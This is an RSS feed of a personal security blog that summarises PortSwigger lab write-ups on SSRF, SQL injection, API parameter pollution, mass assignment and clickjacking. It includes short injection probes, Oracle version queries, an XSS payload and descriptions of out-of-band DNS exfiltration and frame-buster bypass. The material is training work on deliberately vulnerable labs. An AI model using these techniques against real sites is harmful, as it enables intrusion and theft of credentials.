<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>an's security blog</title><link>https://panman4040.github.io/</link><description>Recent content on an's security blog</description><generator>Hugo</generator><language>en</language><lastBuildDate>Thu, 30 Jul 2026 14:45:20 +0700</lastBuildDate><atom:link href="https://panman4040.github.io/index.xml" rel="self" type="application/rss+xml"/><item><title>Checklist for Web Application Penetration Testing</title><link>https://panman4040.github.io/learning/checklist/</link><pubDate>Thu, 30 Jul 2026 14:34:16 +0800</pubDate><guid>https://panman4040.github.io/learning/checklist/</guid><description>&lt;p>Check out the checklist here: &lt;a href="https://app.notion.com/p/Checklist-Pentest-Web-3adb101ea2ad802c94dcc46137862181?source=copy_link">Notion Link&lt;/a>&lt;/p>
&lt;p>This serves both as my personal playbook, as well as my journey in Offensive Security (for now just web pentesting). For every new vulnerability, niche or not, and tool I learned, either from PortSwigger or HackTheBox or wherever, I will include them here periodically! Note that this also means the list is not comprehensive (yet).&lt;/p>
&lt;p>If you are interested in my journey or just want an example checklist, feel free to check it out for yourselves. Any suggestions are welcome!&lt;/p></description></item><item><title>Blind SSRF with Shellshock exploitation | &lt;span style="color:#9b59b6">Expert&lt;/span></title><link>https://panman4040.github.io/training/portswigger/ssrf/ssrf_expert2/</link><pubDate>Wed, 22 Jul 2026 13:59:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/ssrf/ssrf_expert2/</guid><description>&lt;p>The lab&amp;rsquo;s problem statement hints that the site fetches whatever inside the &lt;code>Referer&lt;/code> header as analytics whenever a product page is loaded. But will it accept arbitrary domains? Let&amp;rsquo;s try spoofing the &lt;code>Referer&lt;/code> header to one of our Burp Collaborator subdomains and see what&amp;rsquo;s up:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-22_13-53-02-702.jpg" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-22_13-53-09-157.jpg" alt="">
Interestingly, the server approves this request and makes two DNS callbacks as well as one HTTP callback to our Collaborator subdomain! Notice that in one of the HTTP callback, notice that &lt;code>User-Agent&lt;/code> is also included. This will be our entry point.&lt;/p></description></item><item><title>SSRF with filter bypass via open redirection vulnerability | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/ssrf/ssrf_practitioner2/</link><pubDate>Wed, 22 Jul 2026 09:26:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/ssrf/ssrf_practitioner2/</guid><description>&lt;p>This lab has a stock check feature which interestingly fetches data from an internal system, here is an example of an intercepted stock check request:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-22_09-06-22-271.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try inserting something arbitrary into the &lt;code>stockApi&lt;/code> param to see whether it still honors our request or not:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-22_09-12-22-773.png" alt="">
Looks like the filter is a lot more rigorous this time, in fact if it doesn&amp;rsquo;t start with &lt;code>/product&lt;/code>, the server will block our request. Seems like they only allow the stock checker to access the &lt;strong>local application&lt;/strong> only, so maybe we can look elsewhere for an open redirection vulnerability.&lt;/p></description></item><item><title>SSRF with blacklist-based input filter | &lt;span style="color:#9b59b6">Expert&lt;/span></title><link>https://panman4040.github.io/training/portswigger/ssrf/ssrf_expert1/</link><pubDate>Tue, 21 Jul 2026 16:42:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/ssrf/ssrf_expert1/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/ssrf/ssrf_practitioner1/">this problem&lt;/a>, there is an SSRF vulnerability in the stock check feature, and our desired endpoint is &lt;code>http://localhost/admin&lt;/code>.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-21_15-58-05-840.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try inserting some arbitrary stuff (yes literally) inside &lt;code>stockApi&lt;/code> param to see what&amp;rsquo;s up:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-21_15-58-55-845.png" alt="">&lt;/p>
&lt;p>Interesting. Rather than a blacklist, this app utilise a whitelist that only accepts &lt;code>stock.weliketoshop.net&lt;/code>. Otherwise, the request is dropped. This seems impenetrable on paper, but not so in practice.&lt;/p>
&lt;p>I&amp;rsquo;ve tried all kinds of bypass I could think of, like:&lt;/p></description></item><item><title>SSRF with blacklist-based input filter | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/ssrf/ssrf_practitioner1/</link><pubDate>Tue, 21 Jul 2026 14:51:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/ssrf/ssrf_practitioner1/</guid><description>&lt;p>This lab has a stock check feature which fetches data from an internal system, below is how the intercepted request looks like:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-21_15-11-00-694.png" alt="">&lt;/p>
&lt;p>The lab hints that there is an admin interface at &lt;code>http://localhost/admin&lt;/code>, and that there are two anti-SSRF defenses in place which we must bypass. And indeed there is a filter in use, straight up requesting for &lt;code>localhost/admin&lt;/code> will result in the request being blocked. This is also the case for only &lt;code>http://localhost&lt;/code>:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-21_14-53-27-599.png" alt="">&lt;/p></description></item><item><title>SQL injection with filter bypass via XML encoding | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner12/</link><pubDate>Thu, 16 Jul 2026 16:17:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner12/</guid><description>&lt;p>This lab contains a SQLi vulnerability in the stock check feature, in which the results from the query are returned in the application&amp;rsquo;s response. So we can probably use &lt;code>UNION&lt;/code> attacks to retrieve data from other tables:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_16-20-05-703.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try inserting a &lt;code>UNION SELECT&lt;/code> to see what&amp;rsquo;s up, just for fun:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_16-22-12-133.png" alt="">&lt;/p>
&lt;p>Looks like there is a WAF in place that filters out possible injection attempts, which is kinda bad. But is it bulletproof? Can it detect an injected query that is encoded once? Twice? Thrice? For this lab, I will be using the Hackvertor extension which is a Swiss knife for everything data, decoding, encryption, encoding, the whole shabang.&lt;/p></description></item><item><title>Blind SQL injection with out-of-band data exfiltration | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner11/</link><pubDate>Thu, 16 Jul 2026 15:24:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner11/</guid><description>&lt;p>(lab requires Burp Pro)&lt;/p>
&lt;p>The application&amp;rsquo;s tracking cookie is still vulnerable to SQLi. But unlike previous labs, the SQL query is executed asynchronously and has no effect on the application&amp;rsquo;s response. So all our methods previously will fail to yield results.&lt;/p>
&lt;p>However, we can trigger out-of-band interactions with an external domain. There are quite a lot of network protocols that we can use but the most likely to succeed is &lt;strong>DNS&lt;/strong>, since almost all networks should allow outbound DNS resolution (or it will break duh). The syntax for data exfil can be found in this &lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">cheat sheet&lt;/a> here, quite complex syntax so I won&amp;rsquo;t dive too deep into that for this writeup.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_15-41-58-270.jpg" alt="">&lt;/p></description></item><item><title>Blind SQL injection with time delays and information retrieval | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner10/</link><pubDate>Thu, 16 Jul 2026 14:02:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner10/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/">this lab&lt;/a>, an SQLi vulnerability exists within &lt;code>trackingId&lt;/code>. But the results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error.&lt;/p>
&lt;p>But the problem statement does mention that it&amp;rsquo;s possible to trigger time delays (duh), we are going to do just that. Let&amp;rsquo;s start by finding out which database type we are dealing with first, and after some trials and errors we should be able to determine that this is a &lt;strong>PostgreSQL&lt;/strong> database - evident by the &lt;code>pg_sleep()&lt;/code> syntax:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_13-46-48-016.png" alt="">&lt;/p></description></item><item><title>Visible error-based SQL injection | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner9/</link><pubDate>Thu, 16 Jul 2026 10:57:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner9/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/">this lab&lt;/a>, an SQLi vulnerability exists within &lt;code>trackingId&lt;/code>. But this time, the server returns &amp;ldquo;helpful&amp;rdquo; error messages in its response. Take a look at the response when I tried to inject &lt;code>' AND 1=1&lt;/code> (ending single quote deliberately excluded):
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_10-37-20-841.png" alt="">&lt;/p>
&lt;p>The server literally hands out the entire server-side query being executed. Since we know there is an &lt;code>users&lt;/code> table, we can just perform a &lt;code>SELECT&lt;/code> query for the &lt;code>administrator&lt;/code> user right? Turns out there&amp;rsquo;s actually a character limit, and if our injected query gets too long then it will be truncated:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_10-41-53-026.png" alt="">&lt;/p></description></item><item><title>Blind SQL injection with conditional errors | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner8/</link><pubDate>Thu, 16 Jul 2026 10:02:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner8/</guid><description>&lt;p>This lab is quite similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/">last lab&lt;/a>, with an SQLi present in the tracking cookie. But this time there is no &lt;code>Welcome back!&lt;/code> message or the like, so we cannot rely on the server to hand out freebies for us (rip). Notice that the server still processes nonsense injected SQL query inside &lt;code>trackingId&lt;/code>, evident by this 500:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-16_09-15-02-750.png" alt="">&lt;/p>
&lt;p>This gives us an idea, if the server does not reflect invalid query in the response, perhaps we can &lt;em>make it does&lt;/em>? We can instead modify the query so that it causes a &lt;strong>database error&lt;/strong> only if some conditions are satisfied, for example:&lt;/p></description></item><item><title>Blind SQL injection with conditional responses | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/</link><pubDate>Wed, 15 Jul 2026 15:15:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner7/</guid><description>&lt;p>The problem statement states that there is a &lt;em>tracking cookie&lt;/em> used, and the server performs SQL queries containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes a &lt;code>Welcome back&lt;/code> message in the page if the query returns any rows.&lt;/p>
&lt;p>And the database contains a different table called &lt;code>users&lt;/code>, with columns called &lt;code>username&lt;/code> and &lt;code>password&lt;/code>. So no need for database type and version fingerprinting.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_15-20-13-664.png" alt="">&lt;/p></description></item><item><title>SQL injection attack, listing the database contents on non-Oracle databases | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner6/</link><pubDate>Wed, 15 Jul 2026 13:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner6/</guid><description>&lt;p>Unlike previous labs where we are given the table names and its columns names already, this time we have to find them ourselves. Thankfully, every database contains what are called &lt;strong>schemas&lt;/strong> - metadata about every other database. On non-Oracle databases, it&amp;rsquo;s usually &lt;code>information_schema.tables&lt;/code>.&lt;/p>
&lt;p>But before extracting data, we will need to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">find out the number of columns in the filter table&lt;/a>. In this case, there are two columns:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_13-49-40-306.png" alt="">&lt;/p>
&lt;p>Since injection is possible, one may think to query for everything inside the schema right? But since we are only given two columns to work with, and the schema table &lt;em>may contain&lt;/em> more than two, it&amp;rsquo;s not possible to extract every data using &lt;code>UNION SELECT&lt;/code> this way:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_13-50-22-363.png" alt="">&lt;/p></description></item><item><title>SQL injection attack, querying the database type and version on Oracle | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner5/</link><pubDate>Wed, 15 Jul 2026 10:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner5/</guid><description>&lt;p>In this lab, we are tasked with finding the version of an Oracle database. The query syntax is as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> banner &lt;span style="color:#66d9ef">FROM&lt;/span> v$version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> &lt;span style="color:#66d9ef">version&lt;/span> &lt;span style="color:#66d9ef">FROM&lt;/span> v$instance
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>First, we will need to find out &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">how many columns there are&lt;/a>. One thing about Oracle is that every &lt;code>SELECT&lt;/code> must use the &lt;code>FROM&lt;/code> keyword and specify a valid table. Since we are probing for &lt;code>NULL&lt;/code>s, we should query from the built-in table &lt;code>DUAL&lt;/code> otherwise our injected query will return 500:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_10-10-07-263.png" alt="">
We now know that there are two columns in the filter table, we can then use either query syntax above to probe for the Oracle version as follow:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_10-11-22-986.png" alt="">&lt;/p></description></item><item><title>SQL injection UNION attack, retrieving multiple values in a single column | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner4/</link><pubDate>Wed, 15 Jul 2026 09:30:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner4/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner3/">this lab&lt;/a>, our goal is to extract data from the table &lt;code>users&lt;/code>, with &lt;code>username&lt;/code> and &lt;code>password&lt;/code> stored &lt;em>in plaintext&lt;/em>.&lt;/p>
&lt;p>First, we will need to find out how many columns does the &amp;ldquo;filter table&amp;rdquo; contain:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-27-01-867.png" alt="">
Again, there are two columns which is &lt;em>convenient&lt;/em> for us as &lt;code>users&lt;/code> also has two columns. What about the data types hold by those two columns?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-27-17-694.png" alt="">
Unfortunately, not all columns can hold string data which is kinda bad news for us. Though it does return a 500 which means it&amp;rsquo;s processing our injected query server-side. Let&amp;rsquo;s find out which of the two columns holds those strings:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-27-31-439.png" alt="">
So the silver lining is that &lt;em>one&lt;/em> column can hold strings. However, &lt;code>users&lt;/code> has two values to be fetched, meaning we will have to somehow combine two entries into one. This can be done by string concatenation, whereas &lt;code>username&lt;/code> and &lt;code>password&lt;/code> will be added together, separated by an unique symbol.&lt;/p></description></item><item><title>SQL injection UNION attack, retrieving data from other tables | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner3/</link><pubDate>Wed, 15 Jul 2026 09:06:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner3/</guid><description>&lt;p>The problem statement hints at the existence of an &lt;code>users&lt;/code> table, with columns &lt;code>username&lt;/code> and &lt;code>password&lt;/code> (surprisingly stored in plaintext). So now our job is to fetch its content and log in as &lt;code>administrator&lt;/code>.&lt;/p>
&lt;p>First, we need to find how many columns in the &amp;ldquo;filter table&amp;rdquo;. Refer to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">this lab&lt;/a> if you are not familiar with the technique:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-13-17-902.png" alt="">&lt;/p>
&lt;p>There are two columns in this table, which is &lt;em>quite convenient&lt;/em> for us as &lt;code>users&lt;/code> also has two columns. What about the data type stored?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-13-41-766.png" alt="">
Again, both columns can hold strings which is &lt;em>even more convenient&lt;/em> for us as the two columns in &lt;code>users&lt;/code> are also of string data type. Since we know what the columns&amp;rsquo; names in &lt;code>users&lt;/code> are, retrieving the credentials is trivial with the following injected query:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_09-14-20-676.png" alt="">&lt;/p></description></item><item><title>SQL injection UNION attack, finding a column containing text | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner2/</link><pubDate>Wed, 15 Jul 2026 08:41:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner2/</guid><description>&lt;p>The problem statement hints at the filter functionality has an SQLi vulnerability, and similar to &lt;a href="https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/">last lab&lt;/a> we have to find how many columns are there first, then find out which column holds string data.&lt;/p>
&lt;p>Finding the number of columns is trivial, either use order by index or union select with &lt;code>NULL&lt;/code>:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-15_08-45-26-423.png" alt="">&lt;/p>
&lt;p>We now know that there are 3 columns in the table. However our goal is to make the backend returns a certain canary, but we don&amp;rsquo;t know which column is compatible with string data yet. This is quite simple, all we have to do is place some string value into each column in turn:&lt;/p></description></item><item><title>SQL injection UNION attack, determining the number of columns returned by the query | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/</link><pubDate>Tue, 14 Jul 2026 14:19:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_practitioner1/</guid><description>&lt;p>The most glaring functionality present is filtering products by category, as shown here:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-14_16-06-18-933.png" alt="">&lt;/p>
&lt;p>As reflected in the lab&amp;rsquo;s name, the first step of a UNION-based SQLi is to determine the &lt;strong>number of columns&lt;/strong>. We can either union order by index or select by &lt;code>NULL&lt;/code>, whatever floats your boat.&lt;/p>
&lt;p>Note that &lt;code>NULL&lt;/code> works because it&amp;rsquo;s convertible to every common data type, thus makes our payload more likely to succeed.&lt;/p>
&lt;p>Assuming there is no WAF nor client-side filters in place (which there aren&amp;rsquo;t), we can apply our elementary payload:&lt;/p></description></item><item><title>Exploiting server-side parameter pollution in a REST URL | &lt;span style="color:#9b59b6">Expert&lt;/span></title><link>https://panman4040.github.io/training/portswigger/api_testing/at_expert1/</link><pubDate>Tue, 14 Jul 2026 10:53:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/api_testing/at_expert1/</guid><description>&lt;p>Similar to &lt;a href="https://panman4040.github.io/training/portswigger/api_testing/at_practitioner3/">this problem&lt;/a>, our goal is to log in as &lt;code>administrator&lt;/code> and delete &lt;code>carlos&lt;/code>. Since we don&amp;rsquo;t have the credentials, we have to look for an API exploitation elsewhere. And the safest bet is the Reset Password functionality in the login page.&lt;/p>
&lt;p>&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-13_15-45-36-670.png" alt="">&lt;/p>
&lt;p>Let&amp;rsquo;s try sending a password reset request to see what it looks like:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-13_15-51-51-310.png" alt="">&lt;/p>
&lt;p>There is no explicit client-side API call, only a POST request to the very much visible &lt;code>/forgot-password&lt;/code> endpoint. This probably means there is an internal API call happening server-side, but just to be sure it&amp;rsquo;s safe to try enumerating all the common API endpoints in Intruder to check for any hidden attack surfaces:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-13_16-26-31-322.png" alt="">&lt;/p></description></item><item><title>Exploiting server-side parameter pollution in a query string | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/api_testing/at_practitioner3/</link><pubDate>Thu, 09 Jul 2026 15:06:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/api_testing/at_practitioner3/</guid><description>&lt;p>Our goal is to log in as &lt;code>administrator&lt;/code> and delete the user &lt;code>carlos&lt;/code>, but the problem is that we don&amp;rsquo;t know the password. Thankfully, there&amp;rsquo;s this convenient Forgot Password feature for us to poke into. Let&amp;rsquo;s try sending a normal password reset to &lt;code>administrator&lt;/code> to see what happens:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_14-03-11-479.png" alt="">
The server responds with a redacted email, that&amp;rsquo;s fair because nobody wants their PII leaked right? Let&amp;rsquo;s try adding a new nonsense param and truncate the end bit, what if something unexpected happens?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_14-50-54-305.png" alt="">
Weird. The server still processes the request as normal. No change to the response length, nor the response time. Adding more nonsense params does not work either. How about sending &lt;code>username&lt;/code> only &lt;em>then&lt;/em> truncate the query string?
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_14-04-46-228.png" alt="">
It looks like truncating works! And the server demands a hidden field on top of &lt;code>username&lt;/code> for a hidden API request (maybe?). But we don&amp;rsquo;t know what the hidden field name is, and based on our attempt of adding &lt;code>&amp;amp;foo=bar#&lt;/code> above we know that the server doesn&amp;rsquo;t care about custom fields. Or does it?&lt;/p></description></item><item><title>Exploiting a mass assignment vulnerability | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/api_testing/at_practitioner2/</link><pubDate>Thu, 09 Jul 2026 13:23:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/api_testing/at_practitioner2/</guid><description>&lt;p>Our task is to buy that leet jacket, but our coffer runs dry. Just like &lt;a href="https://panman4040.github.io/training/portswigger/api_testing/at_practitioner1/">last lab&lt;/a>, we have to either raise our balance or make the jacket free.&lt;/p>
&lt;p>While crawling through the page, I tried sending a request to &lt;code>/api&lt;/code>, literally. To my surprise, there actually is a hidden documentation lying around:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_11-03-23-248.png" alt="">
The GET request to &lt;code>/checkout&lt;/code> seems to request the metadata for our purchase, with these attributes lying around. While the POST request is performing that purchase. So after adding the leet jacket to our cart, let&amp;rsquo;s perform the GET request to see the response:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_11-08-11-613.png" alt="">
The server returns a JSON object with very clear attributes. One thing to note though is that the &lt;code>chosen_discount&lt;/code> attribute is left conveniently there for us, while no explicit option for discount is present on the page (perhaps it&amp;rsquo;s for a later sales period?). Let&amp;rsquo;s try sending the discount attribute along with our purchase in a POST request to &lt;code>/checkout&lt;/code>, with say 100% discount rate? Let&amp;rsquo;s try this out:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_11-08-38-249.png" alt="">
Looks like the request has gone through, and we got ourselves a slick jacket free of charge. Nice.
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_11-08-56-955.png" alt="">&lt;/p></description></item><item><title>Finding and exploiting an unused API endpoint | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/api_testing/at_practitioner1/</link><pubDate>Thu, 09 Jul 2026 10:32:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/api_testing/at_practitioner1/</guid><description>&lt;p>Our task is to purchase the hackerleet hoodie, but we are also broke af. Upon attempting to purchase the thing without septims, we are hit with an expected denial:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_10-12-01-715.png" alt="">&lt;/p>
&lt;p>One may think to try illicitly manipulate our store balance, but there is no JS or API call present that queries for an user&amp;rsquo;s current balance. So that&amp;rsquo;s bust.&lt;/p>
&lt;p>However, notice how whenever we fetch a GET request to a store item, an API request to &lt;code>/products/./price&lt;/code> is called:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_10-11-59-974.png" alt="">
Obviously, if we are not able to increase our coffers, we should make the shopitem free right? Since the response body is a JSON object, it&amp;rsquo;s expected that the request body to change the price should be a JSON object too. Let&amp;rsquo;s try sending a POST request to change the price to zero:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_10-20-03-319.png" alt="">
Too bad that we are hit with a 405, but there is one convenient header they so kindly left for us. The only allowed methods are &lt;code>GET&lt;/code>, which we&amp;rsquo;ve just covered, and &lt;code>PATCH&lt;/code>. Since we cannot create a new resource with &lt;code>POST&lt;/code>, let&amp;rsquo;s try &lt;strong>updating&lt;/strong> the resource with &lt;code>PATCH&lt;/code> instead:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_10-24-19-920.png" alt="">
Looks like that didn&amp;rsquo;t work. It&amp;rsquo;s sad to say but I&amp;rsquo;ve spent an embarassingly long amount of time trying to figure out what went wrong here, but in reality it&amp;rsquo;s just that the &lt;code>price&lt;/code> is a &lt;strong>string&lt;/strong>, and the backend demands an &lt;strong>integer&lt;/strong>:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_10-31-16-323.png" alt="">
So after setting the price of leet to free, we are able to buy it no problemo:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_10-31-40-054.png" alt="">
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_10-31-50-972.png" alt="">&lt;/p></description></item><item><title>Exploiting an API endpoint using documentation | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/api_testing/at_apprentice1/</link><pubDate>Thu, 09 Jul 2026 09:32:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/api_testing/at_apprentice1/</guid><description>&lt;p>When we want to test for APIs, we first need to find out as much information about the API as possible. To do that, we must identify API endpoints. This can be done through reading developer&amp;rsquo;s API doc or fuzzing the paths using Intruder.&lt;/p>
&lt;p>In this lab, no doc is provided meaning we have to stick with the latter method. Funnily enough, the documentation endpoint is literally &lt;code>/api/&lt;/code>, that&amp;rsquo;s it:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-09_09-20-28-695.png" alt="">&lt;/p></description></item><item><title>Exploiting clickjacking vulnerability to trigger DOM-based XSS | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/clickjacking/cj_practitioner1/</link><pubDate>Wed, 08 Jul 2026 13:46:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/clickjacking/cj_practitioner1/</guid><description>&lt;p>As the lab&amp;rsquo;s name suggests, there exists a DOM-XSS vulnerability somewhere in the application. Naturally, we should crawl through the site and see where does a vulnerable DOM sink lives. The feedback form is looking a bit fishy so let&amp;rsquo;s check that out!
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-08_13-30-36-341.png" alt="">
Looks like our intuition is correct! Whatever passed into the &lt;code>name&lt;/code> field &lt;em>will be&lt;/em> reflected in the &lt;code>innerHTML&lt;/code> sink after submission. And it looks like the application doesn&amp;rsquo;t filter out angle brackets or quotes, which makes constructing XSS payloads much easier. Let&amp;rsquo;s test this out by injecting a harmless &lt;code>h1&lt;/code>:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-08_13-33-07-835.png" alt="">
The parser indeed recognises this as valid HTML, and display it proudly. Since our sink is &lt;code>innerHTML&lt;/code>, we have to use &lt;code>img&lt;/code> or &lt;code>iframe&lt;/code> to fire our events. Testing with the &lt;code>&amp;lt;img src=1 onerror=print()&amp;gt;&lt;/code> payload will do its job as told.&lt;/p></description></item><item><title>Clickjacking with a frame buster script | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/clickjacking/cj_apprentice1/</link><pubDate>Wed, 08 Jul 2026 10:18:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/clickjacking/cj_apprentice1/</guid><description>&lt;p>First of all, in order for a clickjacking attempt that changes victim&amp;rsquo;s states to work, anything that requires cookie auth must have that cookie set &lt;code>SameSite=None&lt;/code>. Thankfully, this is indeed the case for this lab:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-08_10-05-08-515.png" alt="">
Upon checking the source code, we can see that the developer tries to prevent clickjacking by adding a frame busting script as shown here. What this does is that it checks if the top-most window is the same as the current window. If they are different, it means the page is inside an iframe and the attempt is blocked:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-08_10-04-57-242.png" alt="">
If we try to use &lt;a href="https://portswigger.net/burp/documentation/desktop/tools/clickbandit">Burp Clickbandit&lt;/a>, notice that the attempt to frame the site is blocked:
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-08_10-07-01-757.png" alt="">
To solve this, we should also strip &lt;code>allow-scripts&lt;/code> so that the framed page&amp;rsquo;s JavaScript will be blocked. &lt;code>allow-forms&lt;/code> is still kept because we need a form to change emails with (lol)
&lt;img src="https://panman4040.github.io/images/viber_image_2026-07-08_10-07-15-768.png" alt="">
